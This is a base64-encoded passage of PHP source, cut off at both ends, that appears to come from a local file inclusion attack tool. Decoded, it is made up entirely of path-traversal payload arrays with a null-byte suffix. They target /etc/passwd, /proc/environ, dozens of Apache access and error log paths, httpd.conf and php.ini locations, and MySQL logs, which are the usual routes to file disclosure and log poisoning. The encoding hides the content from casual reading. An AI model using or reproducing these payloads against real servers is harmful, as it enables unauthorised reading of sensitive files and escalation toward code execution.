GZpdGVzdCA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkIi4kYnl0ZTEuIiI7IAogICAgICAgICAkbGZpdGVzdDIgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmFrZS9maWxlIi4kYnl0ZTEuIiI7IAogICAgICAgICAkbGZpcHJvY2VudiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcm9jL2Vudmlyb24iLiRieXRlMS4iIjsgCiAgICAgICAgICRsZmlhY2Nlc3MgPSBhcnJheSggCiAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZS9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2FjY2VzX2xvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXMubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUyL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIik7IAogICAgICAgICAKICAgICAgICAgJGxmaWVycm9yID0gYXJyYXkoIAogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9lcnJvcl9sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9lcnJvcl9sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9lcnJvci5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlMi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIpOyAKICAgICAgICAgJGxmaWNvbmZpZyA9IGFycmF5KCAKICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvaHR0cGQvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBwcy9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcHBzL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDI0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZi5kZWZhdWx0Ii4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVm9sdW1lcy93ZWJCYWNrdXAvb3B0L2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVm9sdW1lcy93ZWJCYWNrdXAvcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL1ZvbHVtZXMvd2ViQmFja3VwL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYuZGVmYXVsdCIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHAvaHR0cGQuY29uZi5waHAiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDMwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMzEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA1L2h0dHBkLmNvbmYucGhwIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAzMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAzMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMzQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA1L2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDM1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2FwYWNoZS92aG9zdHMuY29uZiIuJGJ5dGUxLiIiKTsgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAkbGZpcGhwaW5pID0gYXJyYXkoIAogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYmluL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9saWIvcGhwL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC40L2ZjZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNS9hcGFjaGUyL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL3BocDQvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL2FwYWNoZTIvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3dlYi9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvWmVuZC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2NhbC93d3cvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9jZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2NnaS9waHAuaW5pIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvY2dpL3BocC5pbmkiLiRieXRlMS4iIik7IAogICAgICAgICAKICAgICAgICAgICRsZmlteXNxbCA9IGFycmF5KCAKICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9